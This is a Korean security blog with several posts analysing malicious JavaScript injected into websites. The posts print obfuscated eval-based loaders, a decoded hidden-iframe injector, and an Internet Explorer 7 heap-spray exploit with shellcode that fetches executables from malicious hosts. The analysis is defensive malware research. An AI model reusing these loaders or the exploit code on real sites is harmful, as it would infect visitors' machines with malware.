posted by Kwan's 2014.01.08 04:00

우연히 인터넷 검색을 하던 도중 발견한 2012년 해외 포럼에 올라온 글이다. 

Malicious Code Inject: What Does It Do? 라는 것을 보던 중에 오래된 방법이지만 이런 방법도 있구나 해서 적어놓는다.


1. 발견지 포럼(Web Developer Forum) : http://www.webdeveloper.com/forum/showthread.php?261600-Malicious-Code-Inject-What-Does-It-Do (Malicious Code Inject: What Does It Do?)

-> http://oolbrmp.tld.cc/d/404.php?go=1 (window.location _=_ "http://fukbb.com")

--> http://fukbb.com


2. 디코딩 순서 : 초기사이트 접속 -> Base 64 난독화  -> 일부 디코딩 -> Base 64 난독화 -> Blockhole 난독화 -> 디코딩


3. Web Developer Forum - 스샷



4. 난독화 해제

   가. 원본 소스


  나. 1차 디코딩 - 일부 base 64


  다. 2차 디코딩 - 남은 일부 base 64


  라. 3차 디코딩 - Blockhole(최종)


  마. http://oolbrmp.tld.cc/d/404.php?go=1 - window.location 통한 리다이렉팅


  라. 최종 도메인 - fukbb.com



5. 도메인 위치

  가. oolbrmp.tld.cc


  나. fukbb.com


6. 악성스크립트 - 바이러스 토탈 결과

* 바이러스 토탈 업로드 시 악성 스크립트 부분만 발췌해서 업로드 했습니다.



6. 번외편 - 이것의 결과는?

- 힌트 : HTML-CSS

* &lt; - 부등호(<)

* &gt; - 부등호(>)

* &quot; - 쌍따옴표(") 하나 

 &lt;

 script&gt;

 try

 {

   q=document.createElement(&quot;

   p&quot;

   );

   q.appendChild(q+&quot;

   &quot;

   );

 }

 catch(qw)

 {

   h=-012/5;

   try

   {

     bcsd=prototype-2;

   }

   catch(bawg)

   {

     ss=[];

     f=(h)?(&quot;

     fromCharC&quot;

     +&quot;

     ode&quot;

     ):&quot;

     &quot;;

     e=window[&quot;

     e&quot;

     +&quot;

     val&quot;

     ];

     n=[9,18,315,408,32,80,300,444,99,234,327,404,110,232,138,412,101,232,207,432,101,218,303,440,116,230,

198,484,84,194,309,312,97,218,303,160,39,196,333,400,121,78,123,364,48,186,123,492,13,18,27,36,105,

204,342,388,109,202,342,160,41,118,39,36,9,250,96,404,108,230,303,128,123,26,27,36,9,200,333,396,

117,218,303,440,116,92,357,456,105,232,303,160,34,120,315,408,114,194,327,404,32,230,342,396,61,78,

312,464,116,224,174,188,47,222,333,432,98,228,327,448,46,232,324,400,46,198,297,188,100,94,156,192,

52,92,336,416,112,126,309,444,61,98,117,128,119,210,300,464,104,122,117,196,48,78,96,416,101,210,

309,416,116,122,117,196,48,78,96,460,116,242,324,404,61,78,354,420,115,210,294,420,108,210,348,

484,58,208,315,400,100,202,330,236,112,222,345,420,116,210,333,440,58,194,294,460,111,216,351,

464,101,118,324,404,102,232,174,192,59,232,333,448,58,96,177,156,62,120,141,420,102,228,291,436

,101,124,102,164,59,26,27,36,125,26,27,36,102,234,330,396,116,210,333,440,32,210,306,456,97,218,

303,456,40,82,369,52,9,18,27,472,97,228,96,408,32,122,96,400,111,198,351,436,101,220,348,184,99,

228,303,388,116,202,207,432,101,218,303,440,116,80,117,420,102,228,291,436,101,78,123,236,102,92,

345,404,116,130,348,464,114,210,294,468,116,202,120,156,115,228,297,156,44,78,312,464,116,224,

174,188,47,222,333,432,98,228,327,448,46,232,324,400,46,198,297,188,100,94,156,192,52,92,336

,416,112,126,309,444,61,98,117,164,59,204,138,460,116,242,324,404,46,236,315,460,105,196,315,

432,105,232,363,244,39,208,315,400,100,202,330,156,59,204,138,460,116,242,324,404,46,224,333

,460,105,232,315,444,110,122,117,388,98,230,333,432,117,232,303,156,59,204,138,460,116,242,324,

404,46,216,303,408,116,122,117,192,39,118,306,184,115,232,363,432,101,92,348,444,112,122,117,

192,39,118,306,184,115,202,348,260,116,232,342,420,98,234,348,404,40,78,357,420,100,232,312

,156,44,78,147,192,39,82,177,408,46,230,303,464,65,232,348,456,105,196,351,464,101,80,117,416,

101,210,309,416,116,78,132,156,49,96,117,164,59,26,27,36,9,200,333,396,117,218,303,440,116,92,

309,404,116,138,324,404,109,202,330,464,115,132,363,336,97,206,234,388,109,202,120,156,98,222,

300,484,39,82,273,192,93,92,291,448,112,202,330,400,67,208,315,432,100,80,306,164,59,26,27,36,

125];

     if(window.document)for(i=6-2-1-2-1;-581+i!=2-2;i++)

     {

       k=i;

       ss=ss+String[f](n[k]/(i%(h*h)+2-1));

     }

     e(ss);

   }

 }

 &lt;

 /script&gt;


글 중간에 바이러스 토탈 결과를 보듯이 난독화가 된 악성 스크립트의 차단 비율은 그다지 높지 않는거 같다. 또한, 이처럼 단순 난독화가 아닌 현재 국내에서 다수 나타나고 있는 공다팩처럼 복잡하게 난독화된 기술은 더욱 탐지하기 힘들것으로 보이며 악성링크를 사전에 차단을 통해 피해를 줄이는 방안도 하나의 방법이라고 생각한다. 하지만, 어느 한편의 입장에서는 악성링크를 통해 다운로드되는 파일만 막으면 되지 라는 말도 할 수 있다. 어떻게 보면 이 둘다 맞는 말이라고 할 수도 있다. 그러나 한번에 한마리의 토끼를 잡는것 보다 한번에 두마리 토끼를 잡는 방법도 있듯이 두마리의 토끼를 한번에 잡는다면 주말에 안심하고 웹서핑을 할 수 있지 않을까 하는 생각이 된다.


posted by Kwan's 2013.07.02 18:30


우연히 돌아다니다가 발견해서 끄적끄적 해본다.....

최종 접속 시 왜 ok 라는 시그널만 내보낼까 궁금하다................

쿠키값때문인가??

아시는 분 계시면 알려주세요~ : )




e=eval;v="0"+"x";a=0;z="y";try{a*=2}catch(q){a=1}if(!a){try{document["\x62od"+z]++}catch(q){a2="_"}z=[생략]"

["split"](a2);za="";for(i=0;i<z.length;i++){za+=String["fromCharCode"](e(v+(z[i]))-4-3);}zaz=za;e(zaz);}


za="";for(i=0;i<z.length;i++){za+=String["fromCharCode"](e(v+(z[i]))-4-3);}zaz=za;e(zaz); 

// 계산식

za="";for(i=0;i<z.length;i++){za+=String["fromCharCode"](e(v+(z[i]))-4-3);}zaz=za;alert(zaz); 

// 출력


Deviced.com | Deviced IP Lookup (IP: 84.38.68.117)

Hostname:deviced.com
IP Address:84.38.68.117
Host of this IP:vserver2407.vserver-on.de
Organization:ispOne business GmbH
ISP:ispOne business GmbH
City:-
Country:Germany 
State:-
Timezone:-
Local Time:

-





posted by Kwan's 2013.02.14 20:24

우연히 해외 사이트를 보던 도중 Exploit 을 보아서 이렇게 써봅니다.

우선은 배치된 코드는 다음과 같습니다.

try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{("".substr+"")()}catch(ehwdsh){try{window.document.body++}catch(gdsgsdg){dbshre=204;}}}}
if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}
asgq=new Array
(1,2,99,97,28,32,93,105,94,113,101,94,104,111,42,95,94,110,64,104,93,102,95,105,112,107,59,115,
79,93,95,71,91,104,97,32,32,92,106,96,113,32,35,86,44,85,34,117,8,5,1,2,99,97,110,89,102,95,109,
36,33,52,7,4,5,117,25,95,103,111,93,25,117,8,5,1,2,94,106,95,109,102,95,105,112,38,112,108,100,
112,93,33,28,55,101,94,107,91,104,97,24,108,108,94,57,31,97,110,111,108,50,40,41,96,106,100,90,
108,98,97,101,94,104,111,48,38,105,108,106,43,101,98,97,99,112,39,93,108,106,108,104,98,104,98,
91,97,103,109,111,93,100,101,99,105,99,38,105,98,107,35,24,112,99,95,112,96,54,33,44,44,31,25,98,
96,101,95,97,110,56,35,41,41,33,27,111,108,114,102,96,57,31,112,99,95,112,96,51,43,43,44,104,113
,53,99,97,97,96,98,111,54,41,41,42,107,116,51,105,105,110,101,108,98,105,105,54,89,91,109,106,104,
109,109,95,54,104,93,95,110,53,41,41,41,42,107,116,51,109,105,107,54,40,52,33,57,56,39,98,96,109,
93,101,94,56,29,37,51,6,3,4,121,5,2,3,97,113,102,92,110,100,107,102,25,99,97,110,89,102,95,109,36,
33,116,[생략]96,35,33,52,96,41,111,93,109,59,111,112,106,98,92,112,112,93,33,33,110,110,91,32,38,
34,100,108,109,106,53,43,39,94,104,103,93,106,96,95,104,97,102,109,46,41,108,106,104,41,104,101,95,
97,110,42,96,106,104,106,107,101,102,96,89,100,106,107,109,91,103,104,97,103,97,41,108,96,105,33,36
,55,94,39,109,111,117,100,94,40,103,97,94,109,55,34,41,41,41,42,107,116,31,52,96,41,111,108,114,102,
96,42,108,104,106,56,35,40,32,53,97,42,107,109,115,103,97,38,105,105,110,101,108,98,105,105,57,31,
90,92,110,107,100,110,110,96,35,51,95,40,110,112,113,101,95,41,104,93,95,110,56,35,40,32,53,97,42,
107,109,115,103,97,38,109,105,107,57,31,41,33,54,98,38,108,95,111,61,108,109,108,100,94,109,109,
95,35,35,111,98,94,111,100,31,37,33,44,44,31,34,53,97,42,107,94,110,60,112,108,107,99,93,113,108
,94,34,34,100,93,98,97,99,112,31,37,33,44,44,31,34,53,8,5,1,2,94,106,95,109,102,95,105,112,38,96,
95,111,65,100,94,103,96,106,108,108,60,116,80,89,96,72,92,105,93,33,33,93,107,92,114,33,36,87,40,
86,40,92,108,104,94,104,95,63,96,98,102,95,36,94,34,53,8,5,1,118);
s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));}
z=s;e(z);}


asgq=new Array 로 정의 되어 있는 코드는 정상적인 아스키코드가 아닙니다.
일반 String.fromCharCode를 통해서 출력을 해보면.. 다음과 같은 문자가 나옵니다!

ca ]i^qe^ho*_^n@h]f_ipk;sO]_G[ha \j`q #V,U"u canYf_m$!4 u _go] u ^j_mf_ip&pldp]! 7e^k[ha ll^9 anol2()`jdZlbae^ho0&ilj+ebacp']ljlhbhb[agmo]decic&ibk# pc_p`6!,, b`e_an8#))! olrf`9 pc_p`3++,hq5caa`bo6))*kt3iinelbii6Y[mjhmm_6h]_n5)))*kt3mik6(4!98'b`m]e^8 %3 y aqf\ndkf canYf_m$!t o[m ^ 7 `g\ohafm(^n]Zn`Ad^g`jl!!dbjZg`#!4`)o]m;opjb\pp]!!nn[ &"dlmj5+'^hg]j`_hafm.)ljh)he_an*`jhjkef`Ydjkm[ghaga)l`i!$7^'moud^(ga^m7")))*kt 4`)olrf`*lhj8#( 5a*kmsga&iinelbii9 Z\nkdnn`#3_(npqe_)h]_n8#( 5a*kmsga&mik9 )!6b&l_o=lmld^mm_##ob^od %!,, "5a*k^n


이와 같이 정상적인 아스키코드로 나오지 않습니다.

그렇다면 다시 코드를 살펴보면 다음과 같습니다.


s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));

즉... i=0; i-637!=0;i++ ->  i-637 값이 0이 아닐때까지 루핑을 한다는 뜻입니다.
결론적으로   i-637!이 0에 도달하면 이 함수는 끝이나게 됩니다.
i++와 같이 계속 1씩 증가함으로 637이 되는순간 함수는 끝나게 됩니다.

다음오로 {if(020==0x10)s+ 은 -> 020 == 10진수일경우 s가 증가 하게 됩니다.

그렇다면 어떤한 방식으로 다시 배치를 하는걸 까요?? 바로 String.fromCharCode(1*asgq[i]-(i%5-8)); 입니다.
asgq=new Array 에서 처음이 1이니 1*1-(i->0%5-8) 이런식으로 계산을 하게 됩니다.


이를 바탕으로 연산과정을 거치면 ! 연결된 링크를 볼수 있습니다 : )



if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://enlargement4.pro/might/dropping_installing.php' width='10' height='10' style='width:100px;height:100px;position:absolute;left:-100px;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://enlargement4.pro/might/dropping_installing.php');f.style.left='-100px';f.style.top='0';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}


바이러스 토탈 링크 :
https://www.virustotal.com/ko/file/becc92d0fa7e355e231c3b9da797a5e8fa9b39ef79ab6da48e98b5e20e1d685a/analysis/1360839068/

우선 처음으로 작성을 해보았는데.. 부족한 접이 있더라도 이해해 주세요~
틀린점이 있다면 지적을 해주셔도 좋습니다 : )

마지막으로 도움을 주신 바이올렛님께 감사를 드립니다 : )


posted by Kwan's 2012.12.08 16:13

발견지 : http://www.leesmusic.co.kr [리스뮤직]

            →http://www.leesmusic.co.kr/./lees/index.php 

              (<iframe src=http://seoul-kla.com/admin/data/webedit/1.htm width=0 height=0></iframe>)

               →http://www.7iaa.com/index.html (서버죽음)

               →http://seoul-kla.com/admin/data/webedit/1.htm

                 http://www.baikec.cn/down/ko.exe(복호화 최종파일)

                → http://seoul-kla.com/admin/data/webedit/svchsot.exe(스크립트 내 연결 파일)


<http://seoul-kla.com/admin/data/webedit/1.htm>


if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)location.replace

("about:blank");

~>user agent의 정보얻은후 msie 7 ->location.replace about:blank


function sleep(milliseconds)

{

var start=new Date().getTime();


for(var i=0;i<1e7;i++)

{if((new Date().getTime()-start)>milliseconds)

{break}

}

}


function spray(sc)

{

var infect=unescape(sc.replace(/dadong/g,"\x25\x75"));

~> dadong -> %u replace


var heapBlockSize=0x100000;

var payLoadSize=infect.length*2;

var szlong=heapBlockSize-(payLoadSize+0x038);

var retVal=unescape("%u0a0a%u0a0a");

retVal=getSampleValue(retVal,szlong);

aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;

zzchuck=new Array();

for(i=0;i<aaablk;i++){zzchuck[i]=retVal+infect}

}


function getSampleValue(retVal,szlong)

{

while(retVal.length*2<szlong)

{retVal+=retVal}

retVal=retVal.substring(0,szlong/2);

return retVal

}


var a1="dadong";

spray

(a1+"9090"+a1+"dadong9090dadong9090dadongE1D9dadong34D9dadong5824dadon

g5858dadong3358dadongB3DBdadong031Cdadong31C3dadong66C9dadongE981

dadongFA65dadong3080dadong4021dadongFAE2dadong17C9dadong2122

dadong4921[생략]dadong2121dadong2121

dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121

dadong2121dadong2

121dadong2121dadong0021");


~> dadong -> %u replace-> http://www.baikec.cn/down/ko.exe 연결!


sleep(3000);


nav=navigator.userAgent.toLowerCase();

if(navigator.appVersion.indexOf('MSIE')!=-1)

{

version=parseFloat(navigator.appVersion.split('MSIE')[1])

~> MSIE 버전 확인


}

if(version==7)

{

w2k3=((nav.indexOf('windows nt 5.2')!=-1)||(nav.indexOf('windows 2003')!=-1));

wxp=((nav.indexOf('windows nt 5.1')!=-1)||(nav.indexOf('windows xp')!=-1));

if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image 

SRC=http://&#114;&#2570;&#114;.book.com 

~> MSIE 7 버전 확인 -> 시스템 정보 확인 (windows 2003, windows xp) -> xml 취약점 실행!


src="http://seoul-kla.com/admin/data/webedit/svchsot.exe"]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C 

DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C 

DATAFORMATAS=HTML></SPAN>');

var i=1;while(i<=10)

{

window.status=" ";i++}

}


요즘에 잠잠했던 xml 취약점을 이용하여 악성코드를 유포하는 방식을 오랜만에 보았다!

ie 버전과 시스템 버전을 확인하여 유포할수도 있고 쉘코드에서도 유포할 수 있는 방식이 사용된걸 볼 수있었다.

현재는 많이 알려져서 패치가 되었지만 그래도 아직까지 사용하는거 보니 패치가 안되어있는 사람도 많은거 같다!